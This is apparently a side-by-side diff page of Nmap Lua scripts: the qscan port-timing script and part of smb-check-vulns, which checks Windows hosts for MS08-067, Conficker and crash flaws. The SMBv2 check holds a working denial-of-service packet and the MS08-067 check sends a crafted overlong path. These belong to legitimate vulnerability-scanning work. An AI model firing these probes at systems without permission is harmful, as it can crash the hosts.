stat = tstat(i.num, j.num, i.mean, j.mean, i.K / (i.num - 1), j.K / (j.num - 1)) stat = tstat(i.num, j.num, i.mean, j.mean, i.K / (i.num - 1), j.K / (j.num - 1))
crit = tinv(conf, i.num + j.num - 2) crit = tinv(conf, i.num + j.num - 2)
if stat < crit then if stat < crit then
j.fam = i.fam j.fam = i.fam
end end
until true end until true end
until true end until true end
end end
--- Builds report for output --- Builds report for output
-- @param stats Array of port statistics -- @param stats Array of port statistics
-- @return Output report -- @return Output report
local report = function(stats) local report = function(stats)
local j local j
local outtab = tab.new() local outtab = tab.new()
tab.add(outtab, 1, "PORT") tab.add(outtab, 1, "PORT")
tab.add(outtab, 2, "FAMILY") tab.add(outtab, 2, "FAMILY")
tab.add(outtab, 3, "MEAN (us)") tab.add(outtab, 3, "MEAN (us)")
tab.add(outtab, 4, "STDDEV") tab.add(outtab, 4, "STDDEV")
tab.add(outtab, 5, "LOSS (%)") tab.add(outtab, 5, "LOSS (%)")
tab.nextrow(outtab) tab.nextrow(outtab)
local port, fam, mean, stddev, loss local port, fam, mean, stddev, loss
for _, j in pairs(stats) do for _, j in pairs(stats) do
port = tostring(j.port) port = tostring(j.port)
fam = tostring(j.fam) fam = tostring(j.fam)
mean = string.format("%.2f", j.mean) mean = string.format("%.2f", j.mean)
stddev = string.format("%.2f", math.sqrt(j.K / (j.num - 1))) stddev = string.format("%.2f", math.sqrt(j.K / (j.num - 1)))
loss = string.format("%.1f%%", 100 * (1 - j.num / j.sent)) loss = string.format("%.1f%%", 100 * (1 - j.num / j.sent))
tab.add(outtab, 1, port) tab.add(outtab, 1, port)
tab.add(outtab, 2, fam) tab.add(outtab, 2, fam)
tab.add(outtab, 3, mean) tab.add(outtab, 3, mean)
tab.add(outtab, 4, stddev) tab.add(outtab, 4, stddev)
tab.add(outtab, 5, loss) tab.add(outtab, 5, loss)
tab.nextrow(outtab) tab.nextrow(outtab)
end end
return tab.dump(outtab) return tab.dump(outtab)
end end
--- Returns option values based on script arguments and defaults --- Returns option values based on script arguments and defaults
-- @return Confidence level, delay and number of trips -- @return Confidence level, delay and number of trips
local getopts = function() local getopts = function()
local conf, delay, numtrips = CONF, DELAY, NUMTRIPS local conf, delay, numtrips = CONF, DELAY, NUMTRIPS
local bool, err local bool, err
local k local k
for _, k in ipairs({"qscan.confidence", "confidence"}) do for _, k in ipairs({"qscan.confidence", "confidence"}) do
if nmap.registry.args[k] then if nmap.registry.args[k] then
conf = tonumber(nmap.registry.args[k]) conf = tonumber(nmap.registry.args[k])
break break
end end
end end
for _, k in ipairs({"qscan.delay", "delay"}) do for _, k in ipairs({"qscan.delay", "delay"}) do
if nmap.registry.args[k] then if nmap.registry.args[k] then
delay = stdnse.parse_timespec(nmap.registry.args[k]) delay = stdnse.parse_timespec(nmap.registry.args[k])
break break
end end
end end
for _, k in ipairs({"qscan.numtrips", "numtrips"}) do for _, k in ipairs({"qscan.numtrips", "numtrips"}) do
if nmap.registry.args[k] then if nmap.registry.args[k] then
numtrips = tonumber(nmap.registry.args[k]) numtrips = tonumber(nmap.registry.args[k])
break break
end end
end end
bool = true bool = true
if conf ~= 0.75 and conf ~= 0.9 and if conf ~= 0.75 and conf ~= 0.9 and
conf ~= 0.95 and conf ~= 0.975 and conf ~= 0.95 and conf ~= 0.975 and
conf ~= 0.99 and conf ~= 0.995 and conf ~= 0.9995 then conf ~= 0.99 and conf ~= 0.995 and conf ~= 0.9995 then
bool = false bool = false
err = "Invalid confidence level" err = "Invalid confidence level"
end end
if not delay then if not delay then
bool = false bool = false
err = "Invalid delay" err = "Invalid delay"
end end
if numtrips < 3 then if numtrips < 3 then
bool = false bool = false
err = "Invalid number of trips (should be >= 3)" err = "Invalid number of trips (should be >= 3)"
end end
if bool then if bool then
return bool, conf, delay, numtrips return bool, conf, delay, numtrips
else else
return bool, err return bool, err
end end
end end
local table_extend = function(a, b) local table_extend = function(a, b)
local t = {} local t = {}
for _, v in ipairs(a) do for _, v in ipairs(a) do
t[#t + 1] = v t[#t + 1] = v
end end
for _, v in ipairs(b) do for _, v in ipairs(b) do
t[#t + 1] = v t[#t + 1] = v
end end
return t return t
end end
--- Get ports to probe --- Get ports to probe
-- @param host Host object -- @param host Host object
local getports = function(host, numopen, numclosed) local getports = function(host, numopen, numclosed)
local open = {} local open = {}
local closed = {} local closed = {}
local port local port
port = nil port = nil
while numopen < 0 or #open < numopen do while numopen < 0 or #open < numopen do
port = nmap.get_ports(host, port, "tcp", "open") port = nmap.get_ports(host, port, "tcp", "open")
if not port then if not port then
break break
end end
open[#open + 1] = port.number open[#open + 1] = port.number
end end
port = nil port = nil
while numclosed < 0 or #closed < numclosed do while numclosed < 0 or #closed < numclosed do
port = nmap.get_ports(host, port, "tcp", "closed") port = nmap.get_ports(host, port, "tcp", "closed")
if not port then if not port then
break break
end end
closed[#closed + 1] = port.number closed[#closed + 1] = port.number
end end
return table_extend(open, closed) return table_extend(open, closed)
end end
hostrule = function(host) hostrule = function(host)
if not nmap.is_privileged() then if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {} nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end end
nmap.registry[SCRIPT_NAME].rootfail = true nmap.registry[SCRIPT_NAME].rootfail = true
return nil return nil
end end
local numopen, numclosed = NUMOPEN, NUMCLOSED local numopen, numclosed = NUMOPEN, NUMCLOSED
if nmap.address_family() ~= 'inet' then if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME) stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false return false
end end
if not host.interface then if not host.interface then
return false return false
end end
for _, k in ipairs({"qscan.numopen", "numopen"}) do for _, k in ipairs({"qscan.numopen", "numopen"}) do
if nmap.registry.args[k] then if nmap.registry.args[k] then
numopen = tonumber(nmap.registry.args[k]) numopen = tonumber(nmap.registry.args[k])
break break
end end
end end
for _, k in ipairs({"qscan.numclosed", "numclosed"}) do for _, k in ipairs({"qscan.numclosed", "numclosed"}) do
if nmap.registry.args[k] then if nmap.registry.args[k] then
numclosed = tonumber(nmap.registry.args[k]) numclosed = tonumber(nmap.registry.args[k])
break break
end end
end end
qscanports = getports(host, numopen, numclosed) qscanports = getports(host, numopen, numclosed)
return (#qscanports > 1) return (#qscanports > 1)
end end
action = function(host) action = function(host)
local sock = nmap.new_dnet() local sock = nmap.new_dnet()
local pcap = nmap.new_socket() local pcap = nmap.new_socket()
local saddr = packet.toip(host.bin_ip_src) local saddr = packet.toip(host.bin_ip_src)
local daddr = packet.toip(host.bin_ip) local daddr = packet.toip(host.bin_ip)
local start local start
local rtt local rtt
local stats = {} local stats = {}
local try = nmap.new_try() local try = nmap.new_try()
local conf, delay, numtrips = try(getopts()) local conf, delay, numtrips = try(getopts())
pcap:pcap_open(host.interface, 104, false, "tcp and dst host " .. saddr .. " and src host " .. daddr) pcap:pcap_open(host.interface, 104, false, "tcp and dst host " .. saddr .. " and src host " .. daddr)
try(sock:ip_open()) try(sock:ip_open())
try = nmap.new_try(function() sock:ip_close() end) try = nmap.new_try(function() sock:ip_close() end)
-- Simply double the calculated host timeout to account for possible -- Simply double the calculated host timeout to account for possible
-- extra time due to port forwarding or whathaveyou. Nmap has all -- extra time due to port forwarding or whathaveyou. Nmap has all
-- ready scanned this host, so the timing should have taken into -- ready scanned this host, so the timing should have taken into
-- account some of the RTT differences, but I think it really depends -- account some of the RTT differences, but I think it really depends
-- on how many ports were scanned and how many were forwarded where. -- on how many ports were scanned and how many were forwarded where.
-- Play it safer here. -- Play it safer here.
pcap:set_timeout(2 * host.times.timeout * 1000) pcap:set_timeout(2 * host.times.timeout * 1000)
local tcp = genericpkt(host) local tcp = genericpkt(host)
for i = 1, numtrips do for i = 1, numtrips do
for j, port in ipairs(qscanports) do for j, port in ipairs(qscanports) do
updatepkt(tcp, port) updatepkt(tcp, port)
if not stats[j] then if not stats[j] then
stats[j] = {} stats[j] = {}
stats[j].port = port stats[j].port = port
stats[j].num = 0 stats[j].num = 0
stats[j].sent = 0 stats[j].sent = 0
stats[j].mean = 0 stats[j].mean = 0
stats[j].K = 0 stats[j].K = 0
stats[j].fam = -1 stats[j].fam = -1
end end
start = stdnse.clock_us() start = stdnse.clock_us()
try(sock:ip_send(tcp.buf, host)) try(sock:ip_send(tcp.buf, host))
stats[j].sent = stats[j].sent + 1 stats[j].sent = stats[j].sent + 1
local test = bin.pack('AA=S=S', tcp.ip_bin_src, tcp.ip_bin_dst, tcp.tcp_sport, tcp.tcp_dport) local test = bin.pack('AA=S=S', tcp.ip_bin_src, tcp.ip_bin_dst, tcp.tcp_sport, tcp.tcp_dport)
local status, length, _, layer3, stop = pcap:pcap_receive() local status, length, _, layer3, stop = pcap:pcap_receive()
while status and test ~= check(layer3) do while status and test ~= check(layer3) do
status, length, _, layer3, stop = pcap:pcap_receive() status, length, _, layer3, stop = pcap:pcap_receive()
end end
if not stop then if not stop then
-- probably a timeout, just grab current time -- probably a timeout, just grab current time
stop = stdnse.clock_us() stop = stdnse.clock_us()
else else
-- we use usecs -- we use usecs
stop = stop * 1000000 stop = stop * 1000000
end end
rtt = stop - start rtt = stop - start
if status then if status then
-- update more stats on the port, Knuth-style -- update more stats on the port, Knuth-style
local delta local delta
stats[j].num = stats[j].num + 1 stats[j].num = stats[j].num + 1
delta = rtt - stats[j].mean delta = rtt - stats[j].mean
stats[j].mean = stats[j].mean + delta / stats[j].num stats[j].mean = stats[j].mean + delta / stats[j].num
stats[j].K = stats[j].K + delta * (rtt - stats[j].mean) stats[j].K = stats[j].K + delta * (rtt - stats[j].mean)
end end
-- Unlike qscan.cc which loops around while waiting for -- Unlike qscan.cc which loops around while waiting for
-- the delay, I just sleep here (depending on rtt) -- the delay, I just sleep here (depending on rtt)
if rtt < (3 * delay) / 2 then if rtt < (3 * delay) / 2 then
if rtt < (delay / 2) then if rtt < (delay / 2) then
stdnse.sleep(((delay / 2) + math.random(0, delay) - rtt)) stdnse.sleep(((delay / 2) + math.random(0, delay) - rtt))
else else
stdnse.sleep(math.random((3 * delay) / 2 - rtt)) stdnse.sleep(math.random((3 * delay) / 2 - rtt))
end end
end end
end end
end end
sock:ip_close() sock:ip_close()
pcap:pcap_close() pcap:pcap_close()
-- sort by port number -- sort by port number
table.sort(stats, function(t1, t2) return t1.port < t2.port end) table.sort(stats, function(t1, t2) return t1.port < t2.port end)
calcfamilies(stats, conf) calcfamilies(stats, conf)
return "\n" .. report(stats) return "\n" .. report(stats)
end end

File diff suppressed because it is too large Load Diff

View File

@@ -119,7 +119,7 @@ dependencies = {
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
local VULNERABLE = 1 local VULNERABLE = 1
@@ -149,88 +149,88 @@ local NOTUP = 8
-- <code>UNKNOWN</code> if there was an error (likely vulnerable), <code>NOTRUN</code> -- <code>UNKNOWN</code> if there was an error (likely vulnerable), <code>NOTRUN</code>
-- if this check was disabled, and <code>INFECTED</code> if it was patched by Conficker. -- if this check was disabled, and <code>INFECTED</code> if it was patched by Conficker.
function check_ms08_067(host) function check_ms08_067(host)
if(nmap.registry.args.safe ~= nil) then if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN return true, NOTRUN
end end
if(nmap.registry.args.unsafe == nil) then if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN return true, NOTRUN
end end
local status, smbstate local status, smbstate
local bind_result, netpathcompare_result local bind_result, netpathcompare_result
-- Create the SMB session -- Create the SMB session
status, smbstate = msrpc.start_smb(host, "\\\\BROWSER") status, smbstate = msrpc.start_smb(host, "\\\\BROWSER")
if(status == false) then if(status == false) then
return false, smbstate return false, smbstate
end end
-- Bind to SRVSVC service -- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil) status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, bind_result return false, bind_result
end end
-- Call netpathcanonicalize -- Call netpathcanonicalize
-- status, netpathcanonicalize_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\a", "\\test\\") -- status, netpathcanonicalize_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\a", "\\test\\")
local path1 = "\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\n" local path1 = "\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\n"
local path2 = "\\n" local path2 = "\\n"
status, netpathcompare_result = msrpc.srvsvc_netpathcompare(smbstate, host.ip, path1, path2, 1, 0) status, netpathcompare_result = msrpc.srvsvc_netpathcompare(smbstate, host.ip, path1, path2, 1, 0)
-- Stop the SMB session -- Stop the SMB session
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
if(status == false) then if(status == false) then
if(string.find(netpathcompare_result, "WERR_INVALID_PARAMETER") ~= nil) then if(string.find(netpathcompare_result, "WERR_INVALID_PARAMETER") ~= nil) then
return true, INFECTED return true, INFECTED
elseif(string.find(netpathcompare_result, "INVALID_NAME") ~= nil) then elseif(string.find(netpathcompare_result, "INVALID_NAME") ~= nil) then
return true, PATCHED return true, PATCHED
else else
return true, UNKNOWN, netpathcompare_result return true, UNKNOWN, netpathcompare_result
end end
end end
return true, VULNERABLE return true, VULNERABLE
end end
-- Help messages for the more common errors seen by the Conficker check. -- Help messages for the more common errors seen by the Conficker check.
CONFICKER_ERROR_HELP = { CONFICKER_ERROR_HELP = {
["NT_STATUS_BAD_NETWORK_NAME"] = ["NT_STATUS_BAD_NETWORK_NAME"] =
[[UNKNOWN; Network name not found (required service has crashed). (Error NT_STATUS_BAD_NETWORK_NAME)]], [[UNKNOWN; Network name not found (required service has crashed). (Error NT_STATUS_BAD_NETWORK_NAME)]],
-- http://seclists.org/nmap-dev/2009/q1/0918.html "non-Windows boxes (Samba on Linux/OS X, or a printer)" -- http://seclists.org/nmap-dev/2009/q1/0918.html "non-Windows boxes (Samba on Linux/OS X, or a printer)"
-- http://www.skullsecurity.org/blog/?p=209#comment-156 -- http://www.skullsecurity.org/blog/?p=209#comment-156
-- "That means either it isnt a Windows machine, or the service is -- "That means either it isnt a Windows machine, or the service is
-- either crashed or not running. That may indicate a failed (or -- either crashed or not running. That may indicate a failed (or
-- successful) exploit attempt, or just a locked down system. -- successful) exploit attempt, or just a locked down system.
-- NT_STATUS_OBJECT_NAME_NOT_FOUND can be returned if the browser -- NT_STATUS_OBJECT_NAME_NOT_FOUND can be returned if the browser
-- service is disabled. There are at least two ways that can happen: -- service is disabled. There are at least two ways that can happen:
-- 1) The service itself is disabled in the services list. -- 1) The service itself is disabled in the services list.
-- 2) The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters\MaintainServerList -- 2) The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters\MaintainServerList
-- is set to Off/False/No rather than Auto or yes. -- is set to Off/False/No rather than Auto or yes.
-- On these systems, if you reenable the browser service, then the -- On these systems, if you reenable the browser service, then the
-- test will complete." -- test will complete."
["NT_STATUS_OBJECT_NAME_NOT_FOUND"] = ["NT_STATUS_OBJECT_NAME_NOT_FOUND"] =
[[UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED). [[UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED).
| If you know the remote system is Windows, try rebooting it and scanning | If you know the remote system is Windows, try rebooting it and scanning
|_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND)]], |_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND)]],
-- http://www.skullsecurity.org/blog/?p=209#comment-100 -- http://www.skullsecurity.org/blog/?p=209#comment-100
-- "That likely means that the server has been locked down, so we -- "That likely means that the server has been locked down, so we
-- dont have access to the necessary pipe. Fortunately, that means -- dont have access to the necessary pipe. Fortunately, that means
-- that neither does Conficker — NT_STATUS_ACCESS_DENIED probably -- that neither does Conficker — NT_STATUS_ACCESS_DENIED probably
-- means youre ok." -- means youre ok."
["NT_STATUS_ACCESS_DENIED"] = ["NT_STATUS_ACCESS_DENIED"] =
[[Likely CLEAN; access was denied. [[Likely CLEAN; access was denied.
| If you have a login, try using --script-args=smbuser=xxx,smbpass=yyy | If you have a login, try using --script-args=smbuser=xxx,smbpass=yyy
| (replace xxx and yyy with your username and password). Also try | (replace xxx and yyy with your username and password). Also try
|_ smbdomain=zzz if you know the domain. (Error NT_STATUS_ACCESS_DENIED)]], |_ smbdomain=zzz if you know the domain. (Error NT_STATUS_ACCESS_DENIED)]],
-- The cause of these two is still unknown. -- The cause of these two is still unknown.
-- ["NT_STATUS_NOT_SUPPORTED"] = -- ["NT_STATUS_NOT_SUPPORTED"] =
-- [[]] -- [[]]
-- http://thatsbroken.com/?cat=5 (doesn't seem common) -- http://thatsbroken.com/?cat=5 (doesn't seem common)
-- ["NT_STATUS_REQUEST_NOT_ACCEPTED"] = -- ["NT_STATUS_REQUEST_NOT_ACCEPTED"] =
-- [[]] -- [[]]
} }
---Check if the server is infected with Conficker. This can be detected by a modified MS08-067 patch, ---Check if the server is infected with Conficker. This can be detected by a modified MS08-067 patch,
@@ -245,50 +245,50 @@ CONFICKER_ERROR_HELP = {
--@return (status, result) If status is false, result is an error code; otherwise, result is either --@return (status, result) If status is false, result is an error code; otherwise, result is either
-- <code>INFECTED</code> for infected or <code>CLEAN</code> for not infected. -- <code>INFECTED</code> for infected or <code>CLEAN</code> for not infected.
function check_conficker(host) function check_conficker(host)
local status, smbstate local status, smbstate
local bind_result, netpathcompare_result local bind_result, netpathcompare_result
-- Create the SMB session -- Create the SMB session
status, smbstate = msrpc.start_smb(host, "\\\\BROWSER", true) status, smbstate = msrpc.start_smb(host, "\\\\BROWSER", true)
if(status == false) then if(status == false) then
return false, smbstate return false, smbstate
end end
-- Bind to SRVSVC service -- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil) status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, bind_result return false, bind_result
end end
-- Try checking a valid string to find Conficker.D -- Try checking a valid string to find Conficker.D
local netpathcanonicalize_result, error_result local netpathcanonicalize_result, error_result
status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\") status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\")
if(status == true and netpathcanonicalize_result['can_path'] == 0x5c45005c) then if(status == true and netpathcanonicalize_result['can_path'] == 0x5c45005c) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return true, INFECTED2 return true, INFECTED2
end end
-- Try checking an illegal string ("\..\") to find Conficker.C and earlier -- Try checking an illegal string ("\..\") to find Conficker.C and earlier
status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\..\\") status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\..\\")
if(status == false) then if(status == false) then
if(string.find(netpathcanonicalize_result, "INVALID_NAME")) then if(string.find(netpathcanonicalize_result, "INVALID_NAME")) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return true, CLEAN return true, CLEAN
elseif(string.find(netpathcanonicalize_result, "WERR_INVALID_PARAMETER") ~= nil) then elseif(string.find(netpathcanonicalize_result, "WERR_INVALID_PARAMETER") ~= nil) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return true, INFECTED return true, INFECTED
else else
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, netpathcanonicalize_result return false, netpathcanonicalize_result
end end
end end
-- Stop the SMB session -- Stop the SMB session
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return true, CLEAN return true, CLEAN
end end
---While writing <code>smb-enum-sessions</code> I discovered a repeatable null-pointer dereference ---While writing <code>smb-enum-sessions</code> I discovered a repeatable null-pointer dereference
@@ -303,130 +303,130 @@ end
-- <code>VULNERABLE</code> for vulnerable or <code>PATCHED</code> for not vulnerable. If the check -- <code>VULNERABLE</code> for vulnerable or <code>PATCHED</code> for not vulnerable. If the check
-- was skipped, <code>NOTRUN</code> is returned. -- was skipped, <code>NOTRUN</code> is returned.
function check_winreg_Enum_crash(host) function check_winreg_Enum_crash(host)
if(nmap.registry.args.safe ~= nil) then if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN return true, NOTRUN
end end
if(nmap.registry.args.unsafe == nil) then if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN return true, NOTRUN
end end
local i, j local i, j
local elements = {} local elements = {}
local status, bind_result, smbstate local status, bind_result, smbstate
-- Create the SMB session -- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH) status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
if(status == false) then if(status == false) then
return false, smbstate return false, smbstate
end end
-- Bind to WINREG service -- Bind to WINREG service
status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil) status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, bind_result return false, bind_result
end end
local openhku_result local openhku_result
status, openhku_result = msrpc.winreg_openhku(smbstate) status, openhku_result = msrpc.winreg_openhku(smbstate)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, openhku_result return false, openhku_result
end end
-- Loop through the keys under HKEY_USERS and grab the names -- Loop through the keys under HKEY_USERS and grab the names
local enumkey_result local enumkey_result
status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], 0, nil) status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], 0, nil)
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
if(status == false) then if(status == false) then
return true, VULNERABLE return true, VULNERABLE
end end
return true, PATCHED return true, PATCHED
end end
local function check_smbv2_dos(host) local function check_smbv2_dos(host)
local status, result local status, result
if(nmap.registry.args.safe ~= nil) then if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN return true, NOTRUN
end end
if(nmap.registry.args.unsafe == nil) then if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN return true, NOTRUN
end end
-- From http://seclists.org/fulldisclosure/2009/Sep/0039.html with one change on the last line. -- From http://seclists.org/fulldisclosure/2009/Sep/0039.html with one change on the last line.
local buf = string.char(0x00, 0x00, 0x00, 0x90) .. -- Begin SMB header: Session message local buf = string.char(0x00, 0x00, 0x00, 0x90) .. -- Begin SMB header: Session message
string.char(0xff, 0x53, 0x4d, 0x42) .. -- Server Component: SMB string.char(0xff, 0x53, 0x4d, 0x42) .. -- Server Component: SMB
string.char(0x72, 0x00, 0x00, 0x00) .. -- Negociate Protocol string.char(0x72, 0x00, 0x00, 0x00) .. -- Negociate Protocol
string.char(0x00, 0x18, 0x53, 0xc8) .. -- Operation 0x18 & sub 0xc853 string.char(0x00, 0x18, 0x53, 0xc8) .. -- Operation 0x18 & sub 0xc853
string.char(0x00, 0x26) .. -- Process ID High: --> :) normal value should be ", 0x00, 0x00" string.char(0x00, 0x26) .. -- Process ID High: --> :) normal value should be ", 0x00, 0x00"
string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe) .. string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe) ..
string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54) .. string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54) ..
string.char(0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31) .. string.char(0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31) ..
string.char(0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00) .. string.char(0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00) ..
string.char(0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57) .. string.char(0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57) ..
string.char(0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61) .. string.char(0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61) ..
string.char(0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c) .. string.char(0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c) ..
string.char(0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c) .. string.char(0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c) ..
string.char(0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e) .. string.char(0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e) ..
string.char(0x30, 0x30, 0x32, 0x00) string.char(0x30, 0x30, 0x32, 0x00)
local socket = nmap.new_socket() local socket = nmap.new_socket()
if(socket == nil) then if(socket == nil) then
return false, "Couldn't create socket" return false, "Couldn't create socket"
end end
status, result = socket:connect(host, 445) status, result = socket:connect(host, 445)
if(status == false) then if(status == false) then
socket:close() socket:close()
return false, "Couldn't connect to host: " .. result return false, "Couldn't connect to host: " .. result
end end
status, result = socket:send(buf) status, result = socket:send(buf)
if(status == false) then if(status == false) then
socket:close() socket:close()
return false, "Couldn't send the buffer: " .. result return false, "Couldn't send the buffer: " .. result
end end
-- Close the socket -- Close the socket
socket:close() socket:close()
-- Give it some time to crash -- Give it some time to crash
stdnse.print_debug(1, "smb-check-vulns: Waiting 5 seconds to see if Windows crashed") stdnse.print_debug(1, "smb-check-vulns: Waiting 5 seconds to see if Windows crashed")
stdnse.sleep(5) stdnse.sleep(5)
-- Create a new socket -- Create a new socket
socket = nmap.new_socket() socket = nmap.new_socket()
if(socket == nil) then if(socket == nil) then
return false, "Couldn't create socket" return false, "Couldn't create socket"
end end
-- Try and do something simple -- Try and do something simple
stdnse.print_debug(1, "smb-check-vulns: Attempting to connect to the host") stdnse.print_debug(1, "smb-check-vulns: Attempting to connect to the host")
socket:set_timeout(5000) socket:set_timeout(5000)
status, result = socket:connect(host, 445) status, result = socket:connect(host, 445)
-- Check the result -- Check the result
if(status == false or status == nil) then if(status == false or status == nil) then
stdnse.print_debug(1, "smb-check-vulns: Connect failed, host is likely vulnerable!") stdnse.print_debug(1, "smb-check-vulns: Connect failed, host is likely vulnerable!")
socket:close() socket:close()
return true, VULNERABLE return true, VULNERABLE
end end
-- Try sending something -- Try sending something
stdnse.print_debug(1, "smb-check-vulns: Attempting to send data to the host") stdnse.print_debug(1, "smb-check-vulns: Attempting to send data to the host")
status, result = socket:send("AAAA") status, result = socket:send("AAAA")
if(status == false or status == nil) then if(status == false or status == nil) then
stdnse.print_debug(1, "smb-check-vulns: Send failed, host is likely vulnerable!") stdnse.print_debug(1, "smb-check-vulns: Send failed, host is likely vulnerable!")
socket:close() socket:close()
return true, VULNERABLE return true, VULNERABLE
end end
stdnse.print_debug(1, "smb-check-vulns: Checks finished; host is likely not vulnerable.") stdnse.print_debug(1, "smb-check-vulns: Checks finished; host is likely not vulnerable.")
socket:close() socket:close()
return true, PATCHED return true, PATCHED
end end
@@ -442,56 +442,56 @@ end
-- ** <code>result == PATCHED</code> for not vulnerable. -- ** <code>result == PATCHED</code> for not vulnerable.
-- ** <code>result == NOTRUN</code> if check skipped. -- ** <code>result == NOTRUN</code> if check skipped.
function check_ms06_025(host) function check_ms06_025(host)
--check for safety flag --check for safety flag
if(nmap.registry.args.safe ~= nil) then if(nmap.registry.args.safe ~= nil) then
